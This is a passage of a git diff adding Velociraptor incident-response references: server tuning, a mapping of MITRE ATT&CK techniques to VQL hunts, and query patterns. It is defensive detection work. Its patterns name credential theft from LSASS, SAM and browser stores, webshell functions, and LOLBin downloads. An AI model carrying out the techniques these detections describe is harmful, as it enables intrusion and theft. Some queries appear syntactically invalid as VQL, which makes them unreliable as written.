server.config.yaml +Frontend: + # Increase concurrent connections + max_connections: 10000 + + # Connection timeouts + keep_alive_timeout: 300 + +Datastore: + # Filesystem tuning + max_dir_size: 10000 # Files per directory + +Resources: + # Increase worker pools + expected_clients: 10000 + max_poll_threads: 100 +``` + +**System Tuning**: +```bash +# Increase file descriptors +echo "velociraptor soft nofile 65536" >> /etc/security/limits.conf +echo "velociraptor hard nofile 65536" >> /etc/security/limits.conf + +# Kernel tuning +cat >> /etc/sysctl.conf <99%) +- Average query execution time +- Collection success rate +- Datastore growth rate +- Server CPU/memory usage +- Network throughput + +**Prometheus Metrics** (if enabled): +```yaml +# server.config.yaml +Monitoring: + bind_address: localhost + bind_port: 9090 +``` diff --git a/skills/incident-response/ir-velociraptor/references/mitre-attack-mapping.md b/skills/incident-response/ir-velociraptor/references/mitre-attack-mapping.md new file mode 100644 index 0000000..4162031 --- /dev/null +++ b/skills/incident-response/ir-velociraptor/references/mitre-attack-mapping.md @@ -0,0 +1,597 @@ +# MITRE ATT&CK Technique Detection with Velociraptor + +Mapping of MITRE ATT&CK techniques to Velociraptor artifacts and VQL queries. + +## Table of Contents +- [Initial Access](#initial-access) +- [Execution](#execution) +- [Persistence](#persistence) +- [Privilege Escalation](#privilege-escalation) +- [Defense Evasion](#defense-evasion) +- [Credential Access](#credential-access) +- [Discovery](#discovery) +- [Lateral Movement](#lateral-movement) +- [Collection](#collection) +- [Exfiltration](#exfiltration) +- [Command and Control](#command-and-control) + +## Initial Access + +### T1078: Valid Accounts + +**Artifacts**: +- `Windows.EventLogs.EvtxHunter` (EventID 4624, 4625) +- `Windows.EventLogs.RDP` + +**VQL Query**: +```sql +-- Detect unusual logon patterns +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS LogonTime, + EventData.TargetUserName AS Username, + EventData.IpAddress AS SourceIP, + EventData.LogonType AS LogonType, + EventData.WorkstationName AS Workstation +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value = 4624 + AND ( + EventData.LogonType IN (3, 10) -- Network or RemoteInteractive + OR timestamp(epoch=System.TimeCreated.SystemTime).Hour NOT IN (8,9,10,11,12,13,14,15,16,17) -- Off-hours + ) +ORDER BY LogonTime DESC +``` + +### T1566: Phishing + +**Artifacts**: +- `Windows.Forensics.Lnk` +- `Windows.Applications.Office.Keywords` + +**VQL Query**: +```sql +-- Suspicious Office document execution +SELECT FullPath, + Mtime, + read_file(filename=FullPath, length=100000) AS Content +FROM glob(globs=[ + "C:/Users/*/Downloads/**/*.doc*", + "C:/Users/*/Downloads/**/*.xls*" +]) +WHERE Content =~ "(?i)(macro|vba|shell|exec|powershell)" + AND Mtime > timestamp(epoch=now() - 604800) +``` + +## Execution + +### T1059.001: PowerShell + +**Artifacts**: +- `Windows.EventLogs.PowershellScriptblock` +- `Windows.System.Powershell.PSReadline` + +**VQL Query**: +```sql +-- Malicious PowerShell execution +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS ExecutionTime, + EventData.ScriptBlockText AS Command, + EventData.Path AS ScriptPath +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Microsoft-Windows-PowerShell%4Operational.evtx") +WHERE System.EventID.Value = 4104 -- Script Block Logging + AND EventData.ScriptBlockText =~ "(?i)(invoke-expression|iex|downloadstring|webclient|bypass|hidden|encodedcommand)" +ORDER BY ExecutionTime DESC +``` + +### T1059.003: Windows Command Shell + +**Artifacts**: +- `Windows.System.Pslist` +- `Windows.EventLogs.ProcessCreation` + +**VQL Query**: +```sql +-- Suspicious cmd.exe usage +SELECT Pid, Ppid, Name, CommandLine, Username, CreateTime +FROM pslist() +WHERE Name =~ "(?i)cmd.exe" + AND CommandLine =~ "(?i)(/c|/k|/r)" + AND Ppid IN ( + SELECT Pid FROM pslist() + WHERE Name =~ "(?i)(winword|excel|powerpnt|acrobat|outlook)" + ) +``` + +### T1053.005: Scheduled Task + +**Artifacts**: +- `Windows.System.TaskScheduler` +- `Windows.EventLogs.ScheduledTasks` + +**VQL Query**: +```sql +-- Recently created scheduled tasks +SELECT FullPath AS TaskPath, + parse_xml(file=FullPath).Task.Actions.Exec.Command AS Command, + parse_xml(file=FullPath).Task.Principals.Principal.UserId AS RunAsUser, + timestamp(epoch=Mtime) AS Created +FROM glob(globs="C:/Windows/System32/Tasks/**") +WHERE NOT IsDir + AND Mtime > timestamp(epoch=now() - 86400) + AND Command != "" +ORDER BY Created DESC +``` + +## Persistence + +### T1547.001: Registry Run Keys + +**Artifacts**: +- `Windows.Persistence.PermanentRuns` +- `Windows.System.StartupItems` + +**VQL Query**: +```sql +-- Autorun registry entries +SELECT Key.FullPath AS RegistryKey, + ValueName, + ValueData.value AS ExecutablePath, + timestamp(epoch=Key.Mtime) AS LastModified +FROM read_reg_key(globs=[ + "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/*", + "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/*", + "HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/*", + "HKEY_LOCAL_MACHINE/SOFTWARE/WOW6432Node/Microsoft/Windows/CurrentVersion/Run/*" +]) +WHERE ValueData.value != "" +ORDER BY LastModified DESC +``` + +### T1543.003: Windows Service + +**Artifacts**: +- `Windows.System.Services` +- `Windows.EventLogs.ServiceCreation` + +**VQL Query**: +```sql +-- Suspicious services +SELECT Key.Name AS ServiceName, + ImagePath.value AS ExecutablePath, + DisplayName.value AS DisplayName, + Start.value AS StartType, + timestamp(epoch=Key.Mtime) AS LastModified +FROM read_reg_key(globs="HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/*") +WHERE ImagePath.value != "" + AND ( + ImagePath.value =~ "(?i)(temp|appdata|users)" + OR ImagePath.value =~ "(?i)(powershell|cmd|wscript)" + OR Key.Mtime > timestamp(epoch=now() - 604800) + ) +``` + +### T1546.003: WMI Event Subscription + +**Artifacts**: +- `Windows.Persistence.PermanentWMIEvents` + +**VQL Query**: +```sql +-- Malicious WMI event subscriptions +SELECT Namespace, + FilterName, + Query, + ConsumerName, + ConsumerType, + ConsumerData +FROM wmi( + query="SELECT * FROM __FilterToConsumerBinding", + namespace="ROOT/Subscription" +) +WHERE ConsumerData =~ "(?i)(powershell|cmd|wscript|executable)" +``` + +## Privilege Escalation + +### T1548.002: Bypass User Account Control + +**Artifacts**: +- `Windows.EventLogs.EvtxHunter` (EventID 4688 with elevated token) + +**VQL Query**: +```sql +-- UAC bypass indicators +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS EventTime, + EventData.NewProcessName AS ProcessName, + EventData.CommandLine AS CommandLine, + EventData.ParentProcessName AS ParentProcess +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value = 4688 + AND EventData.TokenElevationType = "%%1937" -- Full token elevated + AND ( + EventData.NewProcessName =~ "(?i)(fodhelper|computerdefaults|sdclt)" + OR EventData.CommandLine =~ "(?i)(eventvwr|ms-settings)" + ) +``` + +### T1134: Access Token Manipulation + +**Artifacts**: +- `Windows.EventLogs.EvtxHunter` (EventID 4672, 4673) + +**VQL Query**: +```sql +-- Sensitive privilege use +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS EventTime, + EventData.SubjectUserName AS Username, + EventData.PrivilegeList AS Privileges +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value = 4672 + AND EventData.PrivilegeList =~ "(SeDebugPrivilege|SeTcbPrivilege|SeLoadDriverPrivilege)" +``` + +## Defense Evasion + +### T1070.001: Clear Windows Event Logs + +**Artifacts**: +- `Windows.EventLogs.Cleared` + +**VQL Query**: +```sql +-- Event log clearing +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS ClearedTime, + System.Channel AS LogName, + EventData.SubjectUserName AS Username +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value IN (1102, 104) -- Audit log cleared +ORDER BY ClearedTime DESC +``` + +### T1562.001: Disable or Modify Tools + +**Artifacts**: +- `Windows.Forensics.Timeline` +- `Windows.Registry.RecentDocs` + +**VQL Query**: +```sql +-- Security tool tampering +SELECT Key.FullPath AS RegistryKey, + ValueName, + ValueData.value AS Value, + timestamp(epoch=Key.Mtime) AS Modified +FROM read_reg_key(globs=[ + "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows Defender/**", + "HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows Defender/**", + "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/WinDefend/**" +]) +WHERE ( + ValueName =~ "(?i)(DisableAntiSpyware|DisableRealtimeMonitoring|Start)" + AND (ValueData.value = 1 OR ValueData.value = 4) +) +``` + +### T1055: Process Injection + +**Artifacts**: +- `Windows.Detection.ProcessInjection` +- `Windows.Memory.Acquisition` + +**VQL Query**: +```sql +-- Detect process injection via memory protections +SELECT Pid, + process_tracker_get(id=Pid).Name AS ProcessName, + Address, + Size, + Protection, + Type +FROM vad() +WHERE Protection =~ "EXECUTE.*WRITE" -- RWX memory + AND Type = "Private" + AND process_tracker_get(id=Pid).Name NOT IN ("chrome.exe", "firefox.exe") -- Exclude known JIT +``` + +## Credential Access + +### T1003.001: LSASS Memory + +**Artifacts**: +- `Windows.EventLogs.ProcessAccess` +- `Windows.Detection.Mimikatz` + +**VQL Query**: +```sql +-- LSASS access attempts +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS AccessTime, + EventData.SourceProcessId AS SourcePID, + EventData.SourceImage AS SourceImage, + EventData.TargetImage AS TargetImage, + EventData.GrantedAccess AS AccessRights +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Microsoft-Windows-Sysmon%4Operational.evtx") +WHERE System.EventID.Value = 10 -- ProcessAccess + AND EventData.TargetImage =~ "(?i)lsass.exe" + AND EventData.GrantedAccess =~ "(0x1010|0x1410|0x143A)" -- Suspicious access rights +``` + +### T1003.002: Security Account Manager + +**Artifacts**: +- `Windows.Forensics.SAM` +- `Windows.EventLogs.EvtxHunter` + +**VQL Query**: +```sql +-- SAM registry hive access +SELECT FullPath, + timestamp(epoch=Atime) AS AccessTime, + timestamp(epoch=Mtime) AS ModifiedTime +FROM glob(globs=[ + "C:/Windows/System32/config/SAM", + "C:/Windows/System32/config/SYSTEM", + "C:/Windows/System32/config/SECURITY" +]) +WHERE Atime > timestamp(epoch=now() - 86400) +``` + +### T1555: Credentials from Password Stores + +**Artifacts**: +- `Windows.Forensics.DPAPI` +- `Windows.Browsers.ChromeHistory` + +**VQL Query**: +```sql +-- Browser credential access +SELECT FullPath, + timestamp(epoch=Atime) AS AccessTime +FROM glob(globs=[ + "C:/Users/*/AppData/Local/Google/Chrome/User Data/*/Login Data", + "C:/Users/*/AppData/Roaming/Mozilla/Firefox/Profiles/*/logins.json" +]) +WHERE Atime > timestamp(epoch=now() - 86400) +ORDER BY AccessTime DESC +``` + +## Discovery + +### T1082: System Information Discovery + +**Artifacts**: +- `Generic.Client.Info` +- `Windows.System.SystemInfo` + +**VQL Query**: +```sql +-- System enumeration commands +SELECT Pid, Name, CommandLine, Username, CreateTime +FROM pslist() +WHERE CommandLine =~ "(?i)(systeminfo|whoami|ipconfig|hostname|ver)" + AND CreateTime > timestamp(epoch=now() - 3600) +ORDER BY CreateTime DESC +``` + +### T1083: File and Directory Discovery + +**Artifacts**: +- `Windows.EventLogs.ProcessCreation` + +**VQL Query**: +```sql +-- File system enumeration +SELECT Pid, Name, CommandLine, CreateTime +FROM pslist() +WHERE CommandLine =~ "(?i)(dir|tree|findstr|where)" + AND CommandLine =~ "(?i)(\\*|recursive|/s|/b)" +ORDER BY CreateTime DESC +``` + +### T1049: System Network Connections Discovery + +**Artifacts**: +- `Windows.Network.Netstat` + +**VQL Query**: +```sql +-- Network enumeration commands +SELECT Pid, Name, CommandLine, CreateTime +FROM pslist() +WHERE CommandLine =~ "(?i)(netstat|net use|net view|arp|route print|nslookup)" +ORDER BY CreateTime DESC +``` + +## Lateral Movement + +### T1021.001: Remote Desktop Protocol + +**Artifacts**: +- `Windows.EventLogs.RDP` +- `Windows.EventLogs.EvtxHunter` + +**VQL Query**: +```sql +-- RDP lateral movement +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS LogonTime, + EventData.TargetUserName AS Username, + EventData.IpAddress AS SourceIP, + System.Computer AS DestinationHost +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value = 4624 + AND EventData.LogonType = 10 -- RemoteInteractive + AND EventData.IpAddress != "127.0.0.1" +ORDER BY LogonTime DESC +``` + +### T1021.002: SMB/Windows Admin Shares + +**Artifacts**: +- `Windows.EventLogs.EvtxHunter` (EventID 5140, 5145) + +**VQL Query**: +```sql +-- Admin share access +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS AccessTime, + EventData.SubjectUserName AS Username, + EventData.IpAddress AS SourceIP, + EventData.ShareName AS Share, + EventData.RelativeTargetName AS FilePath +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value = 5140 + AND EventData.ShareName =~ "(?i)(ADMIN\\$|C\\$|IPC\\$)" +``` + +### T1047: Windows Management Instrumentation + +**Artifacts**: +- `Windows.EventLogs.WMIActivity` +- `Windows.System.Pslist` + +**VQL Query**: +```sql +-- WMI process creation +SELECT Pid, Name, CommandLine, Username, CreateTime +FROM pslist() +WHERE ( + -- WMI spawned processes + Ppid IN (SELECT Pid FROM pslist() WHERE Name =~ "(?i)wmiprvse.exe") + + -- Or WMIC usage + OR (Name =~ "(?i)wmic.exe" AND CommandLine =~ "(?i)(process call create|/node:)") +) +ORDER BY CreateTime DESC +``` + +## Collection + +### T1005: Data from Local System + +**Artifacts**: +- `Windows.Forensics.Timeline` +- `Windows.Detection.Yara` + +**VQL Query**: +```sql +-- Data staging detection +SELECT FullPath, Size, + timestamp(epoch=Ctime) AS Created, + timestamp(epoch=Mtime) AS Modified +FROM glob(globs=[ + "C:/Users/*/AppData/**/*.zip", + "C:/Users/*/AppData/**/*.rar", + "C:/Users/*/AppData/**/*.7z", + "C:/Windows/Temp/**/*.zip" +]) +WHERE Size > 10485760 -- > 10MB + AND Ctime > timestamp(epoch=now() - 86400) +ORDER BY Size DESC +``` + +### T1119: Automated Collection + +**Artifacts**: +- `Windows.System.Pslist` +- `Windows.EventLogs.ProcessCreation` + +**VQL Query**: +```sql +-- Automated collection tools +SELECT Pid, Name, CommandLine, Username, CreateTime +FROM pslist() +WHERE CommandLine =~ "(?i)(robocopy|xcopy|tar|7z|winrar)" + AND CommandLine =~ "(?i)(/s|recursive|mirror)" +``` + +## Exfiltration + +### T1041: Exfiltration Over C2 Channel + +**Artifacts**: +- `Windows.Network.NetstatEnriched` +- `Windows.Detection.NetworkAlerts` + +**VQL Query**: +```sql +-- Large outbound transfers +SELECT Laddr.Port AS LocalPort, + Raddr.IP AS RemoteIP, + Raddr.Port AS RemotePort, + Pid, + process_tracker_get(id=Pid).Name AS ProcessName, + process_tracker_get(id=Pid).CommandLine AS CommandLine +FROM netstat() +WHERE Status = "ESTABLISHED" + AND Raddr.IP !~ "^(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)" + AND Raddr.Port NOT IN (80, 443, 22) +``` + +### T1052: Exfiltration Over Physical Medium + +**Artifacts**: +- `Windows.Forensics.USBDevices` +- `Windows.EventLogs.USBActivity` + +**VQL Query**: +```sql +-- USB file transfers +SELECT FullPath, Size, + timestamp(epoch=Mtime) AS Modified +FROM glob(globs=["D:/**", "E:/**", "F:/**"]) -- Removable drives +WHERE Mtime > timestamp(epoch=now() - 86400) + AND Size > 1048576 -- > 1MB +ORDER BY Mtime DESC, Size DESC +``` + +## Command and Control + +### T1071: Application Layer Protocol + +**Artifacts**: +- `Windows.Network.NetstatEnriched` +- `Windows.Detection.Sigma` + +**VQL Query**: +```sql +-- Unusual outbound connections +SELECT Raddr.IP AS RemoteIP, + Raddr.Port AS RemotePort, + COUNT(*) AS ConnectionCount, + GROUP_CONCAT(DISTINCT process_tracker_get(id=Pid).Name) AS Processes +FROM netstat() +WHERE Status = "ESTABLISHED" + AND Raddr.IP !~ "^(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)" + AND Raddr.Port NOT IN (80, 443, 53, 22, 3389) +GROUP BY Raddr.IP, Raddr.Port +HAVING ConnectionCount > 10 +``` + +### T1095: Non-Application Layer Protocol + +**Artifacts**: +- `Windows.Network.RawConnections` + +**VQL Query**: +```sql +-- Raw socket usage (ICMP tunneling, etc.) +SELECT Pid, + process_tracker_get(id=Pid).Name AS ProcessName, + process_tracker_get(id=Pid).CommandLine AS CommandLine, + Protocol, + Laddr.IP AS LocalIP, + Raddr.IP AS RemoteIP +FROM netstat() +WHERE Protocol NOT IN ("TCP", "UDP") + AND Raddr.IP != "" +``` + +### T1219: Remote Access Software + +**Artifacts**: +- `Windows.System.Pslist` +- `Windows.Persistence.PermanentRuns` + +**VQL Query**: +```sql +-- Remote access tools +SELECT Pid, Name, Exe, CommandLine, Username +FROM pslist() +WHERE Name =~ "(?i)(teamviewer|anydesk|logmein|ammyy|vnc|radmin|screenconnect)" + OR Exe =~ "(?i)(remote|rdp|desktop|viewer)" +``` diff --git a/skills/incident-response/ir-velociraptor/references/vql-patterns.md b/skills/incident-response/ir-velociraptor/references/vql-patterns.md new file mode 100644 index 0000000..e125db1 --- /dev/null +++ b/skills/incident-response/ir-velociraptor/references/vql-patterns.md @@ -0,0 +1,535 @@ +# VQL Query Patterns for Incident Response + +Comprehensive VQL query patterns for common incident response and threat hunting scenarios. + +## Table of Contents +- [Process Analysis](#process-analysis) +- [Network Forensics](#network-forensics) +- [File System Analysis](#file-system-analysis) +- [Registry Forensics](#registry-forensics) +- [Memory Analysis](#memory-analysis) +- [Event Log Analysis](#event-log-analysis) +- [Persistence Mechanisms](#persistence-mechanisms) +- [Lateral Movement Detection](#lateral-movement-detection) +- [Data Exfiltration](#data-exfiltration) +- [Malware Analysis](#malware-analysis) + +## Process Analysis + +### Suspicious Process Detection + +```sql +-- Processes with suspicious characteristics +SELECT Pid, Ppid, Name, CommandLine, Username, Exe, CreateTime +FROM pslist() +WHERE ( + -- Suspicious parent-child relationships + (Ppid IN (SELECT Pid FROM pslist() WHERE Name =~ "(?i)(winword|excel|powerpnt|acrobat)") + AND Name =~ "(?i)(powershell|cmd|wscript|cscript)") + + -- Processes running from temp directories + OR Exe =~ "(?i)(temp|tmp|appdata)" + + -- Processes with obfuscated command lines + OR CommandLine =~ "(?i)(iex|invoke-expression|downloadstring|webclient|hidden|bypass)" +) +``` + +### Living-off-the-Land Binaries (LOLBins) + +```sql +-- Detect abuse of legitimate Windows binaries +SELECT Pid, Name, CommandLine, Username, Exe +FROM pslist() +WHERE ( + -- certutil for downloading + (Name =~ "(?i)certutil" AND CommandLine =~ "(?i)(urlcache|url)") + + -- bitsadmin for downloading + OR (Name =~ "(?i)bitsadmin" AND CommandLine =~ "(?i)(transfer|download)") + + -- mshta for code execution + OR (Name =~ "(?i)mshta" AND CommandLine =~ "(?i)(http|javascript|vbscript)") + + -- rundll32 suspicious usage + OR (Name =~ "(?i)rundll32" AND CommandLine =~ "(?i)(javascript|url)") +) +``` + +### Process Injection Detection + +```sql +-- Identify potential process injection +SELECT Pid, Name, + AllocatedMemory, + ProtectionFlags, + Handles +FROM handles() +WHERE Type = "Section" + AND ProtectionFlags =~ "EXECUTE" + AND Name != "" +``` + +## Network Forensics + +### External Connections + +```sql +-- All external network connections with process context +SELECT Laddr.IP AS LocalIP, + Laddr.Port AS LocalPort, + Raddr.IP AS RemoteIP, + Raddr.Port AS RemotePort, + Status, Pid, + process_tracker_get(id=Pid).Name AS ProcessName, + process_tracker_get(id=Pid).Exe AS ProcessPath, + process_tracker_get(id=Pid).CommandLine AS CommandLine +FROM netstat() +WHERE Status = "ESTABLISHED" + AND Raddr.IP != "" + AND Raddr.IP !~ "^(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)" -- Exclude RFC1918 + AND Raddr.IP !~ "^(127\\.|169\\.254\\.)" -- Exclude localhost and link-local +``` + +### Unusual Port Activity + +```sql +-- Connections on unusual ports +SELECT Raddr.IP AS RemoteIP, + Raddr.Port AS RemotePort, + COUNT(*) AS ConnectionCount, + GROUP_CONCAT(DISTINCT process_tracker_get(id=Pid).Name) AS Processes +FROM netstat() +WHERE Status = "ESTABLISHED" + AND Raddr.Port NOT IN (80, 443, 22, 3389, 445, 139, 53) +GROUP BY Raddr.IP, Raddr.Port +HAVING ConnectionCount > 5 +``` + +### DNS Query Analysis + +```sql +-- Suspicious DNS queries +SELECT query AS Domain, + response AS IPAddress, + timestamp(epoch=Time) AS QueryTime +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Microsoft-Windows-DNS-Client%4Operational.evtx") +WHERE System.EventID.Value = 3008 + AND ( + -- Long domain names (possible DGA) + length(query) > 50 + + -- High entropy domains + OR query =~ "[a-z0-9]{20,}" + + -- Suspicious TLDs + OR query =~ "\\.(tk|ml|ga|cf|gq)$" + ) +``` + +## File System Analysis + +### Recently Modified Executables + +```sql +-- Executables modified in last 7 days +SELECT FullPath, Size, + timestamp(epoch=Mtime) AS ModifiedTime, + timestamp(epoch=Ctime) AS CreatedTime, + hash(path=FullPath, accessor="file") AS SHA256 +FROM glob(globs=[ + "C:/Windows/System32/**/*.exe", + "C:/Windows/SysWOW64/**/*.exe", + "C:/Users/*/AppData/**/*.exe", + "C:/ProgramData/**/*.exe" +]) +WHERE Mtime > timestamp(epoch=now() - 604800) -- 7 days +ORDER BY Mtime DESC +``` + +### Webshell Detection + +```sql +-- Potential webshells in web directories +SELECT FullPath, Size, + timestamp(epoch=Mtime) AS ModifiedTime, + read_file(filename=FullPath, length=1000) AS Content +FROM glob(globs=[ + "C:/inetpub/wwwroot/**/*.asp", + "C:/inetpub/wwwroot/**/*.aspx", + "C:/inetpub/wwwroot/**/*.php", + "C:/xampp/htdocs/**/*.php" +]) +WHERE Content =~ "(?i)(eval|base64_decode|exec|shell_exec|system|passthru|WScript\\.Shell)" + OR FullPath =~ "(?i)(cmd|shell|upload|backdoor|c99)" +``` + +### Suspicious File Timestamps + +```sql +-- Files with timestamp anomalies (timestomping detection) +SELECT FullPath, + timestamp(epoch=Mtime) AS ModifiedTime, + timestamp(epoch=Ctime) AS ChangeTime, + timestamp(epoch=Btime) AS BornTime +FROM glob(globs="C:/Users/**/*.exe") +WHERE Mtime < Btime -- Modified time before birth time (anomaly) + OR Ctime < Btime -- Change time before birth time +``` + +## Registry Forensics + +### Autorun Locations + +```sql +-- Comprehensive autorun registry key enumeration +SELECT Key.FullPath AS RegistryPath, + ValueName, + ValueData.value AS Value, + timestamp(epoch=Key.Mtime) AS LastModified +FROM read_reg_key(globs=[ + "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/*", + "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/*", + "HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/*", + "HKEY_LOCAL_MACHINE/SOFTWARE/WOW6432Node/Microsoft/Windows/CurrentVersion/Run/*", + "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/*" +]) +WHERE ValueData.value != "" +``` + +### Recent Registry Modifications + +```sql +-- Recently modified registry keys in security-sensitive locations +SELECT FullPath, + timestamp(epoch=Mtime) AS ModifiedTime +FROM glob(globs=[ + "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/**", + "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/**", + "HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/**" +], accessor="registry") +WHERE Mtime > timestamp(epoch=now() - 86400) -- Last 24 hours +ORDER BY Mtime DESC +``` + +### AppInit DLL Injection + +```sql +-- Detect AppInit DLL injection mechanism +SELECT ValueName, + ValueData.value AS DLLPath, + timestamp(epoch=Key.Mtime) AS LastModified +FROM read_reg_key(globs=[ + "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs", + "HKEY_LOCAL_MACHINE/SOFTWARE/WOW6432Node/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs" +]) +WHERE ValueData.value != "" +``` + +## Memory Analysis + +### Suspicious Memory Regions + +```sql +-- Memory regions with unusual protections +SELECT Pid, + process_tracker_get(id=Pid).Name AS ProcessName, + Address, + Size, + Protection +FROM vad() +WHERE Protection =~ "EXECUTE.*WRITE" -- RWX memory (suspicious) + AND Type = "Private" +``` + +### Injected Code Detection + +```sql +-- Detect potentially injected code +SELECT Pid, + Name AS ProcessName, + Vad.Address AS MemoryAddress, + Vad.Protection AS Protection, + Vad.Type AS MemoryType +FROM pslist() +LET Vad <= SELECT * FROM vad(pid=Pid) +WHERE Vad.Protection =~ "EXECUTE" + AND Vad.Type = "Private" + AND Vad.Name = "" +``` + +## Event Log Analysis + +### Failed Logon Attempts + +```sql +-- Failed authentication attempts +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS EventTime, + EventData.TargetUserName AS Username, + EventData.IpAddress AS SourceIP, + EventData.WorkstationName AS Workstation, + EventData.FailureReason AS Reason +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value = 4625 -- Failed logon +ORDER BY EventTime DESC +LIMIT 1000 +``` + +### Privilege Escalation Events + +```sql +-- Privilege elevation and sensitive privilege use +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS EventTime, + System.EventID.Value AS EventID, + EventData.SubjectUserName AS User, + EventData.PrivilegeList AS Privileges +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value IN (4672, 4673, 4674) -- Special privilege events + AND EventData.PrivilegeList =~ "(SeDebugPrivilege|SeTcbPrivilege|SeLoadDriverPrivilege)" +``` + +### Scheduled Task Creation + +```sql +-- Detect scheduled task creation for persistence +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS EventTime, + EventData.TaskName AS TaskName, + EventData.UserContext AS RunAsUser, + EventData.TaskContent AS TaskXML +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Microsoft-Windows-TaskScheduler%4Operational.evtx") +WHERE System.EventID.Value = 106 -- Task registered +ORDER BY EventTime DESC +``` + +## Persistence Mechanisms + +### Comprehensive Persistence Hunt + +```sql +-- Multi-vector persistence detection +LET RegistryAutoRuns = SELECT "Registry" AS Method, Key.FullPath AS Location, ValueData.value AS Value +FROM read_reg_key(globs="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/*") + +LET ScheduledTasks = SELECT "Scheduled Task" AS Method, FullPath AS Location, "" AS Value +FROM glob(globs="C:/Windows/System32/Tasks/**") +WHERE NOT IsDir + +LET Services = SELECT "Service" AS Method, Key.Name AS Location, ImagePath.value AS Value +FROM read_reg_key(globs="HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/**/ImagePath") + +LET StartupFolders = SELECT "Startup Folder" AS Method, FullPath AS Location, "" AS Value +FROM glob(globs=[ + "C:/Users/*/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/*", + "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/*" +]) + +SELECT * FROM chain( + a=RegistryAutoRuns, + b=ScheduledTasks, + c=Services, + d=StartupFolders +) +``` + +### WMI Event Subscription Persistence + +```sql +-- Detect malicious WMI event subscriptions +SELECT Name, + EventFilter, + Consumer, + timestamp(epoch=CreationDate) AS Created +FROM wmi_persist() +WHERE EventFilter != "" OR Consumer != "" +``` + +## Lateral Movement Detection + +### PsExec Activity + +```sql +-- PsExec service creation and execution +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS EventTime, + EventData.ServiceName AS ServiceName, + EventData.ImagePath AS ExecutablePath, + EventData.AccountName AS Account +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/System.evtx") +WHERE System.EventID.Value = 7045 -- Service installed + AND ( + EventData.ServiceName =~ "(?i)PSEXESVC" + OR EventData.ImagePath =~ "(?i)(\\\\\\\\.*\\\\.*\\\\|admin\\$|c\\$)" + ) +``` + +### Remote Desktop Activity + +```sql +-- RDP logon activity +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS LogonTime, + EventData.TargetUserName AS Username, + EventData.IpAddress AS SourceIP, + EventData.LogonType AS LogonType +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value = 4624 -- Successful logon + AND EventData.LogonType = 10 -- RemoteInteractive (RDP) +ORDER BY LogonTime DESC +``` + +### SMB/Admin Share Access + +```sql +-- Network share access from remote systems +SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS AccessTime, + EventData.SubjectUserName AS Username, + EventData.IpAddress AS SourceIP, + EventData.ShareName AS ShareAccessed, + EventData.ObjectName AS FileAccessed +FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") +WHERE System.EventID.Value = 5140 -- Network share accessed + AND EventData.ShareName =~ "(?i)(ADMIN\\$|C\\$|IPC\\$)" +``` + +## Data Exfiltration + +### Large File Transfers + +```sql +-- Files copied to removable media or network shares +SELECT FullPath, + Size, + timestamp(epoch=Mtime) AS LastModified, + hash(path=FullPath, accessor="file").SHA256 AS SHA256 +FROM glob(globs=[ + "D:/**", -- Removable drive 